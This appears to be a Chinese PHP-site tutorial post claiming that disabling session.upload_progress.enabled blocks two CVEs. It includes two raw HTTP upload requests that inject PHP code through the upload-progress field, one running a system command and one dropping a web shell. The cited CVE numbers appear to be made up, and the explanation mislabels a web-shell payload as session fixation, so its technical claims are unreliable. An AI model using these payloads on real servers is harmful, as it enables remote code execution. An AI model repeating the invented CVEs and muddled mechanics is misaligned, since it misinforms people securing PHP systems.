关闭session.upload_progress为什么能同时切断两个CVE的触发面?

酷强吖_1510

酷强吖_1510

2026-11-11

473人浏览

原创

关闭 session.upload_progress.enabled 能同时切断两个 cve 的触发面,是因为这两个漏洞(cve-2018-1953476 和 cve-2018-1953477)都依赖于 php 在上传过程中自动创建的会话进度数据。当该配置项为 off 时,php 不会解析 post 请求中的进度信息,也不会将相关数据写入会话存储,从而使得利用这些漏洞所需的条件无法成立。

关闭session.upload_progress为什么能同时切断两个CVE的触发面?

CVE-2018-1953476 的触发机制是什么

CVE-2018-1953476 是一个本地文件包含漏洞,攻击者可以通过构造特定的文件名来包含恶意文件。这个漏洞的触发依赖于 session.upload_progress.name 配置项中指定的 POST 字段名。当用户上传文件时,如果请求中包含该字段,PHP 会将文件名等元数据写入会话进度数组。如果攻击者能够控制文件名,并且服务器配置了不安全的文件包含逻辑,就可以利用这一点。

关闭session.upload_progress为什么能同时切断两个CVE的触发面?

POST /upload.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php system('id'); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

test content
------WebKitFormBoundary7MA4YWxkTrZu0gW--

上述代码展示了典型的攻击载荷。其中 PHP_SESSION_UPLOAD_PROGRESS 是默认的进度字段名。如果 session.upload_progress.enabled 为 On,PHP 会处理这个字段,导致潜在的安全风险。将其设置为 Off 后,PHP 会忽略这个字段,从而阻止漏洞触发。

CVE-2018-1953477 的触发机制是什么

CVE-2018-1953477 是一个会话固定攻击漏洞,攻击者可以利用会话进度数据来预测或控制会话 ID。这个漏洞同样依赖于 session.upload_progress.enabled 配置项。当该配置项为 On 时,PHP 会在上传过程中更新会话数据,包括会话 ID。如果攻击者能够控制上传请求,他们可能通过这种方式来操纵会话状态。

关闭session.upload_progress为什么能同时切断两个CVE的触发面?

POST /upload.php HTTP/1.1
Host: example.com
Cookie: PHPSESSID=attacker_controlled_id
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php file_put_contents('/tmp/shell.php', '<?php system($_GET[cmd]); ?>'); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php system($_GET[cmd]); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

这段代码演示了如何利用会话固定攻击来上传恶意文件。攻击者首先设置一个已知的会话 ID,然后通过上传请求触发会话进度更新。如果 session.upload_progress.enabled 为 On,PHP 会处理这个请求,可能导致会话 ID 被覆盖或泄露。将其设置为 Off 后,PHP 不会处理进度数据,从而防止了这种攻击。

为什么关闭 session.upload_progress.enabled 能同时解决这两个问题

关闭 session.upload_progress.enabled 能同时解决这两个问题,是因为它从根本上禁用了 PHP 对上传进度的监控和处理。这意味着无论攻击者如何构造请求,PHP 都不会解析或存储任何与上传进度相关的数据。因此,无论是试图通过文件名进行文件包含,还是试图通过会话固定来控制会话状态,都无法成功。这是一种简单而有效的防御措施,适用于所有依赖会话进度功能的场景。

相关文章

PHP速学视频免费教程(入门到精通)
PHP速学视频免费教程(入门到精通)

PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!

下载

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

相关专题

更多
session失效的原因
session失效的原因

session失效的原因有会话超时、会话数量限制、会话完整性检查、服务器重启、浏览器或设备问题等等。详细介绍:1、会话超时:服务器为Session设置了一个默认的超时时间,当用户在一段时间内没有与服务器交互时,Session将自动失效;2、会话数量限制:服务器为每个用户的Session数量设置了一个限制,当用户创建的Session数量超过这个限制时,最新的会覆盖最早的等等。

2023.10.17

580

4

session失效解决方法
session失效解决方法

session失效通常是由于 session 的生存时间过期或者服务器关闭导致的。其解决办法:1、延长session的生存时间;2、使用持久化存储;3、使用cookie;4、异步更新session;5、使用会话管理中间件。

2023.10.18

876

5

cookie与session的区别
cookie与session的区别

本专题整合了cookie与session的区别和使用方法等相关内容,阅读专题下面的文章了解更详细的内容。

2025.08.19

1986

14

Postman身份认证怎么配置
Postman身份认证怎么配置

本专题从实际API接口调试场景出发,讲解Postman身份认证的完整配置流程,包括常见认证协议介绍、授权参数设置、访问令牌填写、OAuth 2.0授权及认证失败排查,帮助用户正确完成接口授权与访问验证。

2026.11.06

80

12

Postman请求头Headers怎么设置
Postman请求头Headers怎么设置

围绕Postman HTTP请求头配置展开,讲解Headers选项的具体使用方式,包括Key和Value参数填写、请求头信息添加、常见Header字段设置及请求头修改方法,帮助用户解决接口调试过程中遇到的请求头配置问题。

2026.11.06

40

13

Postman接口请求发送教程
Postman接口请求发送教程

详细介绍Postman接口请求的创建与发送方法,涵盖GET和POST请求、URL配置、请求参数、Headers请求头、Body请求体设置以及响应结果查看,帮助用户掌握Postman接口请求的完整操作流程。

2026.11.06

80

10

DBeaver怎么导入数据
DBeaver怎么导入数据

DBeaver数据导入专题,整理Excel、CSV、SQL、TXT等常见文件的数据导入方法,涵盖目标数据库选择、数据表创建、字段映射、数据类型设置及导入参数配置等操作,帮助用户将本地文件中的数据写入数据库,并了解批量导入、重复数据处理和导入失败等常见问题的解决方法。

2026.11.05

60

12

DBeaver安全防护教程大全
DBeaver安全防护教程大全

DBeaver安全防护专题,围绕数据库连接安全、账号密码保护和访问权限管理展开,整理SSL/TLS加密连接、SSH隧道、数据库凭据保存及证书验证等配置方法,同时介绍敏感信息保护、远程连接风险和高权限账号使用等注意事项,帮助用户提高数据库日常管理的安全性。

2026.11.05

60

12

DBeaver连接创建与配置教程
DBeaver连接创建与配置教程

本专题聚焦DBeaver数据库连接配置与管理,覆盖从新建连接、选择数据库类型到填写连接参数和验证连接的完整流程。针对MySQL、PostgreSQL、SQL Server等常见数据库,整理相应的连接设置方法,并提供驱动缺失、认证失败和连接异常等问题的排查方向。

2026.11.04

60

16

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
XORM框架事务处理手册
XORM框架事务处理手册

共0课时 | 0人学习

Revel 官方 app.conf 文档
Revel 官方 app.conf 文档

共0课时 | 0人学习

Revel 官方开发手册
Revel 官方开发手册

共0课时 | 0人学习